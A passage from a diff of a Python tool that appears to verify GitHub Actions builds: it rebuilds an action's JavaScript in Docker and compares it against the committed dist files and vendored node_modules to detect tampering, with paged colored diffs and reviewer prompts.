sorted(skipped_dirs & test_dirs) - - # Collect source files - approved_files = set() - new_files = set() - for f in approved_dir.rglob("*"): - if f.is_file(): - approved_files.add(f.relative_to(approved_dir)) - for f in new_dir.rglob("*"): - if f.is_file(): - new_files.add(f.relative_to(new_dir)) - - all_files = sorted(approved_files | new_files) - - if not all_files: - console.print(" [yellow]No source files found[/yellow]") - return - - # Report all skipped items and ask for confirmation - skipped_locks = sorted(f for f in all_files if f.name in lock_files) - has_skips = bool(skipped_locks) or bool(skipped_test_dirs) - - if has_skips: - console.print() - console.print(" [bold]The following files/directories are excluded from comparison:[/bold]") - if skipped_test_dirs: - console.print(f" [dim]⊘ {', '.join(skipped_test_dirs)} (test files only, not part of the action runtime)[/dim]") - if skipped_locks: - console.print(f" [dim]⊘ {len(skipped_locks)} lock file(s) (generated by package managers):[/dim]") - for f in skipped_locks: - console.print(f" [dim]- {f}[/dim]") - for d in sorted(excluded_dirs - {"dist", "node_modules", ".git"} - test_dirs): - if any(d in str(f) for f in all_files): - console.print(f" [dim]⊘ {d}/ (not part of the action runtime)[/dim]") - - if not ci_mode: - try: - if not ask_confirm(" Proceed with these exclusions?"): - console.print(" [yellow]Aborted by user[/yellow]") - return - except UserQuit: - console.print(" [yellow]Aborted by user[/yellow]") - return - - skipped_by_user: list[tuple[Path, str]] = [] # (path, reason) - quit_all = False - - for rel_path in all_files: - if rel_path.name in lock_files: - continue - - if quit_all: - skipped_by_user.append((rel_path, "skipped (quit)")) - continue - - approved_file = approved_dir / rel_path - new_file = new_dir / rel_path - - if rel_path not in approved_files: - console.print(f" [cyan]+[/cyan] {rel_path} [dim](new file)[/dim]") - new_content = new_file.read_text(errors="replace") - result = show_colored_diff(rel_path, "", new_content, from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) - if result == "skip_file": - skipped_by_user.append((rel_path, "new file")) - elif result == "quit": - quit_all = True - continue - - if rel_path not in new_files: - console.print(f" [cyan]-[/cyan] {rel_path} [dim](removed)[/dim]") - approved_content = approved_file.read_text(errors="replace") - result = show_colored_diff(rel_path, approved_content, "", from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) - if result == "skip_file": - skipped_by_user.append((rel_path, "removed")) - elif result == "quit": - quit_all = True - continue - - approved_content = approved_file.read_text(errors="replace") - new_content = new_file.read_text(errors="replace") - - if approved_content == new_content: - console.print(f" [green]✓[/green] {rel_path} [green](identical)[/green]") - else: - console.print(f" [cyan]~[/cyan] {rel_path} [cyan](changed — expected between versions)[/cyan]") - result = show_colored_diff(rel_path, approved_content, new_content, from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) - if result == "skip_file": - skipped_by_user.append((rel_path, "changed")) - elif result == "quit": - quit_all = True - - # Summary - console.print() - - # Files excluded by policy and confirmed by user - if has_skips: - excluded_summary = [] - if skipped_test_dirs: - excluded_summary.append(f" {', '.join(skipped_test_dirs)}/ (test files)") - if skipped_locks: - for f in skipped_locks: - excluded_summary.append(f" {f} (lock file)") - for d in sorted(excluded_dirs - {"dist", "node_modules", ".git"} - test_dirs): - if any(d in str(f) for f in all_files): - excluded_summary.append(f" {d}/ (not part of action runtime)") - if excluded_summary: - console.print( - Panel( - "\n".join(excluded_summary), - title="[green bold]Excluded from comparison (confirmed by reviewer)[/green bold]", - border_style="green", - padding=(0, 1), - ) - ) - - # Files skipped by user that still need review - if skipped_by_user: - console.print( - Panel( - "\n".join(f" - {f} ({reason})" for f, reason in skipped_by_user), - title="[yellow bold]Files skipped — still need manual review[/yellow bold]", - border_style="yellow", - padding=(0, 1), - ) - ) - - -DOCKERFILE_TEMPLATE = """\ -ARG NODE_VERSION=20 -FROM node:${NODE_VERSION}-slim - -RUN apt-get update && apt-get install -y git && rm -rf /var/lib/apt/lists/* -RUN corepack enable - -WORKDIR /action - -ARG REPO_URL -ARG COMMIT_HASH - -RUN git clone "$REPO_URL" . && git checkout "$COMMIT_HASH" - -# Detect action type from action.yml or action.yaml. -# For monorepo sub-actions (SUB_PATH set), check /action.yml first, -# falling back to the root action.yml. -ARG SUB_PATH="" -RUN if [ -n "$SUB_PATH" ] && [ -f "$SUB_PATH/action.yml" ]; then \ - ACTION_FILE="$SUB_PATH/action.yml"; \ - elif [ -n "$SUB_PATH" ] && [ -f "$SUB_PATH/action.yaml" ]; then \ - ACTION_FILE="$SUB_PATH/action.yaml"; \ - else \ - ACTION_FILE=$(ls action.yml action.yaml 2>/dev/null | head -1); \ - fi; \ - if [ -n "$ACTION_FILE" ]; then \ - grep -E '^\\s+using:' "$ACTION_FILE" | head -1 | sed 's/.*using:\\s*//' | tr -d "'\\\"" > /action-type.txt; \ - MAIN_PATH=$(grep -E '^\\s+main:' "$ACTION_FILE" | head -1 | sed 's/.*main:\\s*//' | tr -d "'\\\"\\ "); \ - echo "$MAIN_PATH" > /main-path.txt; \ - else \ - echo "unknown" > /action-type.txt; \ - echo "" > /main-path.txt; \ - fi - -# Detect the output directory from the main: path. -# For monorepo actions the main: field may use relative paths like ../dist/sub/main/index.js -# Resolve relative to the sub-action directory to get the actual repo-root-relative path. -RUN MAIN_PATH=$(cat /main-path.txt); \ - OUT_DIR="dist"; \ - if [ -n "$MAIN_PATH" ] && [ -n "$SUB_PATH" ]; then \ - RESOLVED=$(cd "$SUB_PATH" 2>/dev/null && realpath --relative-to=/action "$MAIN_PATH" 2>/dev/null || echo ""); \ - if [ -n "$RESOLVED" ]; then \ - OUT_DIR=$(echo "$RESOLVED" | cut -d'/' -f1); \ - fi; \ - elif [ -n "$MAIN_PATH" ]; then \ - DIR_PART=$(echo "$MAIN_PATH" | sed 's|/[^/]*$||'); \ - if [ "$DIR_PART" != "$MAIN_PATH" ] && [ -n "$DIR_PART" ]; then \ - OUT_DIR=$(echo "$DIR_PART" | cut -d'/' -f1); \ - fi; \ - fi; \ - echo "$OUT_DIR" > /out-dir.txt - -# Save original output files before rebuild -RUN OUT_DIR=$(cat /out-dir.txt); \ - if [ -d "$OUT_DIR" ]; then cp -r "$OUT_DIR" /original-dist; else mkdir /original-dist; fi - -# Detect if node_modules/ is committed (vendored dependencies pattern) -RUN if [ -d "node_modules" ]; then \ - echo "true" > /has-node-modules.txt; \ - cp -r node_modules /original-node-modules; \ - else \ - echo "false" > /has-node-modules.txt; \ - mkdir /original-node-modules; \ - fi - -# Delete compiled JS from output dir before rebuild to ensure a clean build -RUN OUT_DIR=$(cat /out-dir.txt); \ - if [ -d "$OUT_DIR" ]; then find "$OUT_DIR" -name '*.js' -print -delete > /deleted-js.log 2>&1; else echo "no $OUT_DIR/ directory" > /deleted-js.log; fi - -# Detect the build directory — where package.json lives. -# Some repos (e.g. gradle/actions) keep sources in a subdirectory with its own package.json. -# Also check for a root-level build script (e.g. a 'build' shell script). -RUN BUILD_DIR="."; \ - if [ ! -f package.json ]; then \ - for candidate in sources src; do \ - if [ -f "$candidate/package.json" ]; then \ - BUILD_DIR="$candidate"; \ - break; \ - fi; \ - done; \ - fi; \ - echo "$BUILD_DIR" > /build-dir.txt - -# For actions with vendored node_modules, delete and reinstall with --production -# before the normal build step (which will also install devDeps for building). -RUN if [ "$(cat /has-node-modules.txt)" = "true" ]; then \ - rm -rf node_modules && \ - BUILD_DIR=$(cat /build-dir.txt) && \ - cd "$BUILD_DIR" && \ - if [ -f yarn.lock ]; then \ - corepack prepare --activate 2>/dev/null; \ - yarn install --production 2>/dev/null || yarn install 2>/dev/null || true; \ - echo "node_modules-reinstall: yarn --production (in $BUILD_DIR)" >> /build-info.log; \ - elif [ -f pnpm-lock.yaml ]; then \ - corepack prepare --activate 2>/dev/null; \ - pnpm install --prod 2>/dev/null || pnpm install 2>/dev/null || true; \ - echo "node_modules-reinstall: pnpm --prod (in $BUILD_DIR)" >> /build-info.log; \ - else \ - npm ci --production 2>/dev/null || npm install --production 2>/dev/null || true; \ - echo "node_modules-reinstall: npm --production (in $BUILD_DIR)" >> /build-info.log; \ - fi && \ - cd /action && \ - cp -r node_modules /rebuilt-node-modules; \ - else \ - mkdir /rebuilt-node-modules; \ - fi - -# Detect and install with the correct package manager (in the build directory) -RUN BUILD_DIR=$(cat /build-dir.txt); \ - cd "$BUILD_DIR" && \ - if [ -f yarn.lock ]; then \ - corepack prepare --activate 2>/dev/null; \ - yarn install 2>/dev/null || true; \ - echo "pkg-manager: yarn (in $BUILD_DIR)" >> /build-info.log; \ - elif [ -f pnpm-lock.yaml ]; then \ - corepack prepare --activate 2>/dev/null; \ - pnpm install 2>/dev/null || true; \ - echo "pkg-manager: pnpm (in $BUILD_DIR)" >> /build-info.log; \ - else \ - npm ci 2>/dev/null || npm install 2>/dev/null || true; \ - echo "pkg-manager: npm (in $BUILD_DIR)" >> /build-info.log; \ - fi - -# Detect which run command to use (in the build directory) -RUN BUILD_DIR=$(cat /build-dir.txt); \ - cd "$BUILD_DIR" && \ - if [ -f yarn.lock ]; then \ - echo "yarn" > /run-cmd; \ - elif [ -f pnpm-lock.yaml ]; then \ - echo "pnpm" > /run-cmd; \ - else \ - echo "npm" > /run-cmd; \ - fi - -# Build: first try a root-level build script (some repos like gradle/actions use one), -# then try npm/yarn/pnpm build in the build directory, then package, then start, then ncc fallback. -# If the build directory is a subdirectory, copy its output dir to root afterwards. -RUN OUT_DIR=$(cat /out-dir.txt); \ - BUILD_DIR=$(cat /build-dir.txt); \ - RUN_CMD=$(cat /run-cmd); \ - BUILD_DONE=false; \ - if [ -x build ] && ./build dist 2>/dev/null; then \ - echo "build-step: ./build dist" >> /build-info.log; \ - if [ -d "$OUT_DIR" ] && find "$OUT_DIR" -name '*.js' -print -quit | grep -q .; then BUILD_DONE=true; fi; \ - fi && \ - if [ "$BUILD_DONE" = "false" ]; then \ - cd "$BUILD_DIR" && \ - if $RUN_CMD run build 2>/dev/null; then \ - echo "build-step: $RUN_CMD run build (in $BUILD_DIR)" >> /build-info.log; \ - elif $RUN_CMD run package 2>/dev/null; then \ - echo "build-step: $RUN_CMD run package (in $BUILD_DIR)" >> /build-info.log; \ - elif $RUN_CMD run start 2>/dev/null; then \ - echo "build-step: $RUN_CMD run start (in $BUILD_DIR)" >> /build-info.log; \ - elif npx ncc build --source-map 2>/dev/null; then \ - echo "build-step: npx ncc build --source-map (in $BUILD_DIR)" >> /build-info.log; \ - fi && \ - cd /action && \ - if [ "$BUILD_DIR" != "." ] && [ -d "$BUILD_DIR/$OUT_DIR" ] && [ ! -d "$OUT_DIR" ]; then \ - cp -r "$BUILD_DIR/$OUT_DIR" "$OUT_DIR"; \ - echo "copied $BUILD_DIR/$OUT_DIR -> $OUT_DIR" >> /build-info.log; \ - fi; \ - if [ -d "$OUT_DIR" ] && find "$OUT_DIR" -name '*.js' -print -quit | grep -q .; then BUILD_DONE=true; fi; \ - fi - -# Save rebuilt output files -RUN OUT_DIR=$(cat /out-dir.txt); \ - if [ -d "$OUT_DIR" ]; then cp -r "$OUT_DIR" /rebuilt-dist; else mkdir /rebuilt-dist; fi -""" - - -def detect_node_version( - org: str, repo: str, commit_hash: str, sub_path: str = "", - gh: GitHubClient | None = None, -) -> str: - """Detect the Node.js major version from the action's using: field. - - Fetches action.yml from GitHub at the given commit and extracts the - node version (e.g. 'node20' -> '20'). Falls back to '20' if detection fails. - """ - # Try action.yml then action.yaml, in sub_path first if given - candidates = [] - if sub_path: - candidates.extend([f"{sub_path}/action.yml", f"{sub_path}/action.yaml"]) - candidates.extend(["action.yml", "action.yaml"]) - - for path in candidates: - url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" - try: - resp = requests.get(url, timeout=10) - if not resp.ok: - continue - for line in resp.text.splitlines(): - match = re.match(r"\s+using:\s*['\"]?(node\d+)['\"]?", line) - if match: - version = match.group(1).replace("node", "") - return version - except requests.RequestException: - continue - - return "20" - - -def _print_docker_build_steps(build_result: subprocess.CompletedProcess[str]) -> None: - """Parse and display Docker build step summaries from --progress=plain output.""" - build_output = build_result.stderr + build_result.stdout - step_names: dict[str, str] = {} # step_id -> description - step_status: dict[str, str] = {} # step_id -> "DONE 1.2s" / "CACHED" - for line in build_output.splitlines(): - # Step description: #5 [3/12] RUN apt-get update ... - m = re.match(r"^#(\d+)\s+(\[.+)", line) - if m: - step_names[m.group(1)] = m.group(2) - continue - # Done / cached: #5 DONE 1.2s or #5 CACHED - m = re.match(r"^#(\d+)\s+(DONE\s+[\d.]+s|CACHED)", line) - if m: - step_status[m.group(1)] = m.group(2) - - if step_names: - console.print() - console.rule("[bold blue]Docker build steps[/bold blue]") - for sid in sorted(step_names, key=lambda x: int(x)): - name = step_names[sid] - status_str = step_status.get(sid, "") - if "CACHED" in status_str: - console.print(f" [dim]✓ {name} (cached)[/dim]") - else: - console.print(f" [green]✓[/green] {name} [dim]{status_str}[/dim]") - console.print() - - -def build_in_docker( - org: str, repo: str, commit_hash: str, work_dir: Path, - sub_path: str = "", - gh: GitHubClient | None = None, - cache: bool = True, - show_build_steps: bool = False, -) -> tuple[Path, Path, str, str, bool, Path, Path]: - """Build the action in a Docker container and extract original + rebuilt dist. - - Returns (original_dir, rebuilt_dir, action_type, out_dir_name, - has_node_modules, original_node_modules, rebuilt_node_modules). - """ - repo_url = f"https://github.com/{org}/{repo}.git" - container_name = f"verify-action-{org}-{repo}-{commit_hash[:12]}" - - dockerfile_path = work_dir / "Dockerfile" - dockerfile_path.write_text(DOCKERFILE_TEMPLATE) - - original_dir = work_dir / "original-dist" - rebuilt_dir = work_dir / "rebuilt-dist" - original_dir.mkdir(exist_ok=True) - rebuilt_dir.mkdir(exist_ok=True) - - image_tag = f"verify-action:{org}-{repo}-{commit_hash[:12]}" - - action_display = f"{org}/{repo}" - if sub_path: - action_display += f"/{sub_path}" - - repo_link = link(f"https://github.com/{org}/{repo}", action_display) - commit_link = link(f"https://github.com/{org}/{repo}/commit/{commit_hash}", commit_hash) - - info_table = Table(show_header=False, box=None, padding=(0, 1)) - info_table.add_column(style="bold") - info_table.add_column() - info_table.add_row("Action", repo_link) - info_table.add_row("Commit", commit_link) - console.print() - console.print(Panel(info_table, title="Action Build Verification", border_style="blue")) - - # Detect Node.js version from action.yml before building - node_version = detect_node_version(org, repo, commit_hash, sub_path, gh=gh) - if node_version != "20": - console.print(f" [green]✓[/green] Detected Node.js version: [bold]node{node_version}[/bold]") - - # Build Docker image, capturing output so we can summarise the steps afterwards - docker_build_cmd = [ - "docker", - "build", - "--progress=plain", - "--build-arg", - f"NODE_VERSION={node_version}", - "--build-arg", - f"REPO_URL={repo_url}", - "--build-arg", - f"COMMIT_HASH={commit_hash}", - "--build-arg", - f"SUB_PATH={sub_path}", - "-t", - image_tag, - "-f", - str(dockerfile_path), - str(work_dir), - ] - if not cache: - docker_build_cmd.insert(3, "--no-cache") - - with console.status("[bold blue]Building Docker image...[/bold blue]"): - build_result = subprocess.run( - docker_build_cmd, capture_output=True, text=True, - ) - if build_result.returncode != 0: - # Show full output on failure so the user can diagnose - console.print("[red]Docker build failed. Output:[/red]") - console.print(build_result.stdout) - console.print(build_result.stderr) - _print_docker_build_steps(build_result) - raise subprocess.CalledProcessError(build_result.returncode, docker_build_cmd) - - if show_build_steps: - _print_docker_build_steps(build_result) - - with console.status("[bold blue]Extracting build artifacts...[/bold blue]") as status: - - # Extract original and rebuilt dist from container - try: - run( - ["docker", "create", "--name", container_name, image_tag], - capture_output=True, - ) - - run( - [ - "docker", - "cp", - f"{container_name}:/original-dist/.", - str(original_dir), - ], - capture_output=True, - ) - - run( - [ - "docker", - "cp", - f"{container_name}:/rebuilt-dist/.", - str(rebuilt_dir), - ], - capture_output=True, - ) - console.print(" [green]✓[/green] Artifacts extracted") - - # Extract the detected output directory name - out_dir_result = subprocess.run( - ["docker", "cp", f"{container_name}:/out-dir.txt", str(work_dir / "out-dir.txt")], - capture_output=True, - ) - out_dir_name = "dist" - if out_dir_result.returncode == 0: - out_dir_name = (work_dir / "out-dir.txt").read_text().strip() or "dist" - if out_dir_name != "dist": - console.print(f" [green]✓[/green] Detected output directory: [bold]{out_dir_name}/[/bold]") - - # Extract and display the deletion log - deleted_log = subprocess.run( - ["docker", "cp", f"{container_name}:/deleted-js.log", str(work_dir / "deleted-js.log")], - capture_output=True, - ) - if deleted_log.returncode == 0: - log_content = (work_dir / "deleted-js.log").read_text().strip() - if log_content.startswith("no ") and log_content.endswith(" directory"): - console.print(f" [yellow]![/yellow] No {out_dir_name}/ directory found before rebuild") - else: - deleted_files = [l for l in log_content.splitlines() if l.strip()] - console.print(f" [green]✓[/green] Deleted {len(deleted_files)} compiled JS file(s) before rebuild:") - for f in deleted_files: - console.print(f" [dim]- {f}[/dim]") - - # Extract action type - action_type_result = subprocess.run( - ["docker", "cp", f"{container_name}:/action-type.txt", str(work_dir / "action-type.txt")], - capture_output=True, - ) - action_type = "unknown" - if action_type_result.returncode == 0: - action_type = (work_dir / "action-type.txt").read_text().strip() - console.print(f" [green]✓[/green] Action type: [bold]{action_type}[/bold]") - - # Extract node_modules flag and directories - original_node_modules = work_dir / "original-node-modules" - rebuilt_node_modules = work_dir / "rebuilt-node-modules" - original_node_modules.mkdir(exist_ok=True) - rebuilt_node_modules.mkdir(exist_ok=True) - has_node_modules = False - - has_nm_result = subprocess.run( - ["docker", "cp", f"{container_name}:/has-node-modules.txt", - str(work_dir / "has-node-modules.txt")], - capture_output=True, - ) - if has_nm_result.returncode == 0: - has_node_modules = (work_dir / "has-node-modules.txt").read_text().strip() == "true" - - if has_node_modules: - status.update("[bold blue]Extracting node_modules artifacts...[/bold blue]") - run( - ["docker", "cp", f"{container_name}:/original-node-modules/.", - str(original_node_modules)], - capture_output=True, - ) - run( - ["docker", "cp", f"{container_name}:/rebuilt-node-modules/.", - str(rebuilt_node_modules)], - capture_output=True, - ) - console.print(" [green]✓[/green] Vendored node_modules detected and extracted") - finally: - status.update("[bold blue]Cleaning up Docker resources...[/bold blue]") - subprocess.run( - ["docker", "rm", "-f", container_name], - capture_output=True, - ) - subprocess.run( - ["docker", "rmi", "-f", image_tag], - capture_output=True, - ) - console.print(" [green]✓[/green] Cleanup complete") - - return (original_dir, rebuilt_dir, action_type, out_dir_name, - has_node_modules, original_node_modules, rebuilt_node_modules) - - -def diff_node_modules( - original_dir: Path, rebuilt_dir: Path, org: str, repo: str, commit_hash: str, -) -> bool: - """Compare original vs rebuilt node_modules. Return True if they match.""" - blob_url = f"https://github.com/{org}/{repo}/blob/{commit_hash}/node_modules" - - # Metadata files that legitimately differ between installs - noisy_files = {".package-lock.json", ".yarn-integrity"} - noisy_dirs = {".cache", ".package-lock.json"} - - def collect_files(base: Path) -> dict[Path, str]: - """Collect all files under base with their SHA256 hashes.""" - result = {} - for f in sorted(base.rglob("*")): - if not f.is_file(): - continue - rel = f.relative_to(base) - # Skip noisy metadata - if rel.name in noisy_files: - continue - if any(part in noisy_dirs for part in rel.parts): - continue - result[rel] = hashlib.sha256(f.read_bytes()).hexdigest() - return result - - console.print() - console.rule("[bold]Comparing vendored node_modules[/bold]") - - with console.status("[dim]Hashing files...[/dim]"): - original_files = collect_files(original_dir) - rebuilt_files = collect_files(rebuilt_dir) - - original_set = set(original_files.keys()) - rebuilt_set = set(rebuilt_files.keys()) - - only_in_original = sorted(original_set - rebuilt_set) - only_in_rebuilt = sorted(rebuilt_set - original_set) - common = sorted(original_set & rebuilt_set) - - # Compare packages (top-level dirs) - original_packages = sorted({p.parts[0] for p in original_set if len(p.parts) > 1}) - rebuilt_packages = sorted({p.parts[0] for p in rebuilt_set if len(p.parts) > 1}) - pkg_only_orig = set(original_packages) - set(rebuilt_packages) - pkg_only_rebuilt = set(rebuilt_packages) - set(original_packages) - - console.print( - f" [dim]Original: {len(original_files)} files in {len(original_packages)} packages[/dim]" - ) - console.print( - f" [dim]Rebuilt: {len(rebuilt_files)} files in {len(rebuilt_packages)} packages[/dim]" - ) - - all_match = True - - if pkg_only_orig: - all_match = False - console.print(f"\n [red]Packages only in original ({len(pkg_only_orig)}):[/red]") - for pkg in sorted(pkg_only_orig): - console.print(f" [red]-[/red] {pkg}") - - if pkg_only_rebuilt: - all_match = False - console.print(f"\n [red]Packages only in rebuilt ({len(pkg_only_rebuilt)}):[/red]") - for pkg in sorted(pkg_only_rebuilt): - console.print(f" [green]+[/green] {pkg}") - - # Check for extra files only in original (potential injected files) - extra_in_orig = [f for f in only_in_original if f.parts[0] not in pkg_only_orig] - if extra_in_orig: - all_match = False - console.print(f"\n [red]Files only in original (not from extra packages) — {len(extra_in_orig)}:[/red]") - for f in extra_in_orig[:20]: - file_link = link(f"{blob_url}/{f}", str(f)) - console.print(f" [red]-[/red] {file_link}") - if len(extra_in_orig) > 20: - console.print(f" [dim]... and {len(extra_in_orig) - 20} more[/dim]") - - extra_in_rebuilt = [f for f in only_in_rebuilt if f.parts[0] not in pkg_only_rebuilt] - if extra_in_rebuilt: - # Files only in rebuilt but not original — not necessarily malicious, - # could be a version difference, but worth noting - console.print(f"\n [yellow]Files only in rebuilt (not from extra packages) — {len(extra_in_rebuilt)}:[/yellow]") - for f in extra_in_rebuilt[:20]: - console.print(f" [green]+[/green] {f}") - if len(extra_in_rebuilt) > 20: - console.print(f" [dim]... and {len(extra_in_rebuilt) - 20} more[/dim]") - - # Compare common files by hash - mismatched = [] - for rel_path in common: - if original_files[rel_path] != rebuilt_files[rel_path]: - mismatched.append(rel_path) - - # Filter mismatched: ignore package.json fields that change between installs - real_mismatches = [] - for rel_path in mismatched: - if rel_path.name == "package.json": - # Compare package.json ignoring install-specific fields - orig_text = (original_dir / rel_path).read_text(errors="replace") - rebuilt_text = (rebuilt_dir / rel_path).read_text(errors="replace") - # Strip _resolved, _integrity, _from, _where, _id fields - install_fields = {"_resolved", "_integrity", "_from", "_where", "_id", - "_requested", "_requiredBy", "_shasum", "_spec", - "_phantomChildren", "_inBundle"} - try: - orig_json = json.loads(orig_text) - rebuilt_json = json.loads(rebuilt_text) - for field in install_fields: - orig_json.pop(field, None) - rebuilt_json.pop(field, None) - if orig_json == rebuilt_json: - continue - except (json.JSONDecodeError, ValueError): - pass - real_mismatches.append(rel_path) - - matched_count = len(common) - len(real_mismatches) - if real_mismatches: - all_match = False - console.print( - f"\n [red]Files with different content — {len(real_mismatches)} of {len(common)}:[/red]" - ) - # Show diffs for first few JS files - shown = 0 - for rel_path in real_mismatches: - file_link = link(f"{blob_url}/{rel_path}", str(rel_path)) - console.print(f" [red]✗[/red] {file_link}") - if shown < 5 and rel_path.suffix == ".js": - orig_content = (original_dir / rel_path).read_text(errors="replace") - rebuilt_content = (rebuilt_dir / rel_path).read_text(errors="replace") - show_colored_diff(rel_path, orig_content, rebuilt_content) - shown += 1 - if len(real_mismatches) > 20: - console.print(f" [dim]... showing first 20 of {len(real_mismatches)}[/dim]") - else: - console.print(f"\n [green]✓[/green] All {matched_count} common files match") - - return all_match - - -def diff_js_files( - original_dir: Path, rebuilt_dir: Path, org: str, repo: str, commit_hash: str, - out_dir_name: str = "dist", -) -> bool: - """Diff JS files between original and rebuilt, return True if identical.""" - blob_url = f"https://github.com/{org}/{repo}/blob/{commit_hash}" - - # Files vendored by @vercel/ncc that are not built from the action's source. - # These are standard ncc runtime helpers and not relevant for verifying - # that the action's own code matches the rebuild. - ignored_files = {"sourcemap-register.js"} - - original_files = set() - rebuilt_files = set() - - for f in original_dir.rglob("*.js"): - original_files.add(f.relative_to(original_dir)) - for f in rebuilt_dir.rglob("*.js"): - rebuilt_files.add(f.relative_to(rebuilt_dir)) - - all_files = sorted(original_files | rebuilt_files) - - if not all_files: - console.print( - f"\n[yellow]No compiled JavaScript found in {out_dir_name}/ — " - "this action may ship source JS directly (e.g. with node_modules/)[/yellow]" - ) - return True - - console.print() - console.rule(f"[bold]Comparing {len(all_files)} JavaScript file(s)[/bold]") - - all_match = True - - def is_minified(content: str) -> bool: - """Check if JS content appears to be minified.""" - lines = content.splitlines() - if not lines: - return False - avg_len = sum(len(l) for l in lines) / len(lines) - # Minified JS typically has very few lines with thousands of chars - return avg_len > 500 or len(lines) < 10 - - # Check which ignored files are actually referenced by other JS files - all_js_contents: dict[Path, str] = {} - for rel_path in all_files: - for base_dir in (original_dir, rebuilt_dir): - full_path = base_dir / rel_path - if full_path.exists() and rel_path not in all_js_contents: - all_js_contents[rel_path] = full_path.read_text(errors="replace") - - for rel_path in all_files: - if rel_path.name in ignored_files: - # Check if any other JS file references this ignored file - referenced_by = [ - other - for other, content in all_js_contents.items() - if other != rel_path and rel_path.name in content - ] - if referenced_by: - console.print( - f" [yellow]![/yellow] {rel_path} is in the ignore list but is " - f"referenced by: {', '.join(str(r) for r in referenced_by)} " - f"— [bold]comparing anyway[/bold]" - ) - else: - console.print( - f" [dim]⊘ {rel_path} (skipped: vendored @vercel/ncc runtime helper, " - f"not referenced by other JS files)[/dim]" - ) - continue - - orig_file = original_dir / rel_path - built_file = rebuilt_dir / rel_path - - file_link = link(f"{blob_url}/{out_dir_name}/{rel_path}", str(rel_path)) - - if rel_path not in original_files: - console.print(f" [green]+[/green] {file_link} [dim](only in rebuilt)[/dim]") - with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): - built_content = beautify_js(built_file.read_text(errors="replace")) - show_colored_diff(rel_path, "", built_content) - all_match = False - continue - - if rel_path not in rebuilt_files: - console.print(f" [red]-[/red] {file_link} [dim](only in original)[/dim]") - with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): - orig_content = beautify_js(orig_file.read_text(errors="replace")) - show_colored_diff(rel_path, orig_content, "") - all_match = False - continue - - orig_raw = orig_file.read_text(errors="replace") - built_raw = built_file.read_text(errors="replace") - - with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): - orig_content = beautify_js(orig_raw) - built_content = beautify_js(built_raw) - - if orig_content == built_content: - console.print(f" [green]✓[/green] {file_link} [green](identical)[/green]") - elif not is_minified(orig_raw): - # Non-minified JS: differences are likely due to ncc version, - # not malicious changes. This is common for actions that use - # `ncc build` without `--minify` — the output is readable but - # varies slightly between ncc versions. - console.print( - f" [yellow]~[/yellow] {file_link} [yellow](non-minified JS — " - f"rebuild differs, likely due to ncc/toolchain version differences)[/yellow]" - ) - console.print( - f" [dim]The dist/ JS is human-readable and not minified. Small differences " - f"in the webpack boilerplate are expected across ncc versions.\n" - f" Review the source changes via the approved version diff below instead.[/dim]" - ) - else: - all_match = False - console.print(f" [red]✗[/red] {file_link} [red bold](DIFFERS)[/red bold]") - show_colored_diff(rel_path, orig_content, built_content) - - return all_match - - -def show_colored_diff( - filename: Path, - original: str, - rebuilt: str, - context_lines: int = 5, - from_label: str = "original", - to_label: str = "rebuilt", - border: str = "red", - ci_mode: bool = False, -) -> str: - """Show a colored unified diff between two strings, paged for large diffs. - - Returns "continue", "skip_file", or "quit" (skip all remaining files). - """ - orig_lines = original.splitlines(keepends=True) - built_lines = rebuilt.splitlines(keepends=True) - - diff_lines = list( - difflib.unified_diff( - orig_lines, - built_lines, - fromfile=f"{from_label}/{filename}", - tofile=f"{to_label}/{filename}", - n=context_lines, - ) - ) - - if not diff_lines: - return "continue" - - terminal_height = console.size.height - 4 # leave room for border and prompt - page_size = max(terminal_height, 20) - title = f"[bold]{filename}[/bold]" - - if ci_mode or len(diff_lines) <= page_size: - # Small diff or CI mode — show in a single panel - diff_text = _format_diff_text(diff_lines) - console.print(Panel(diff_text, title=title, border_style=border, padding=(0, 1))) - return "continue" - - # Large diff — page through it - total_pages = (len(diff_lines) + page_size - 1) // page_size - console.print( - f" [dim]Diff has {len(diff_lines)} lines ({total_pages} pages) — " - f"Enter: next page, n: skip file, q: skip all remaining files[/dim]" - ) - - for page_num in range(total_pages): - start = page_num * page_size - end = min(start + page_size, len(diff_lines)) - page_lines = diff_lines[start:end] - - diff_text = _format_diff_text(page_lines) - console.print(Panel( - diff_text, - title=title, - border_style=border, - padding=(0, 1), - subtitle=f"[dim]page {page_num + 1}/{total_pages}[/dim]", - )) - - if page_num < total_pages - 1: - try: - key = console.input("[dim]Enter: next page, n: skip file, q: skip all remaining files[/dim] ") - choice = key.strip().lower() - if choice == "n": - console.print(f" [dim]Skipped remaining diff for {filename}[/dim]") - return "skip_file" - if choice == "q": - console.print(f" [dim]Skipping all remaining files[/dim]") - return "quit" - except EOFError: - return "quit" - - return "continue" - - -def _format_diff_text(lines: list[str]) -> Text: - """Format diff lines with syntax coloring.""" - diff_text = Text() - for line in lines: - line_stripped = line.rstrip("\n") - if line.startswith("---") or line.startswith("+++"): - diff_text.append(line_stripped + "\n", style="bold") - elif line.startswith("@@"): - diff_text.append(line_stripped + "\n", style="cyan") - elif line.startswith("+"): - diff_text.append(line_stripped + "\n", style="green") - elif line.startswith("-"): - diff_text.append(line_stripped + "\n", style="red") - else: - diff_text.append(line_stripped + "\n") - return diff_text - - -def fetch_action_yml(org: str, repo: str, commit_hash: str, sub_path: str = "") -> str | None: - """Fetch action.yml content from GitHub at a specific commit.""" - candidates = [] - if sub_path: - candidates.extend([f"{sub_path}/action.yml", f"{sub_path}/action.yaml"]) - candidates.extend(["action.yml", "action.yaml"]) - - for path in candidates: - url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" - try: - resp = requests.get(url, timeout=10) - if resp.ok: - return resp.text - except requests.RequestException: - continue - return None - - -def fetch_file_from_github(org: str, repo: str, commit_hash: str, path: str) -> str | None: - """Fetch a file's content from GitHub at a specific commit.""" - url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" - try: - resp = requests.get(url, timeout=10) - if resp.ok: - return resp.text - except requests.RequestException: - pass - return None - - -def extract_composite_uses(action_yml_content: str) -> list[dict]: - """Extract all uses: references from composite action steps. - - Returns a list of dicts with keys: raw (full string), org, repo, sub_path, - ref, is_hash_pinned, is_local, line_num. - """ - results = [] - for i, line in 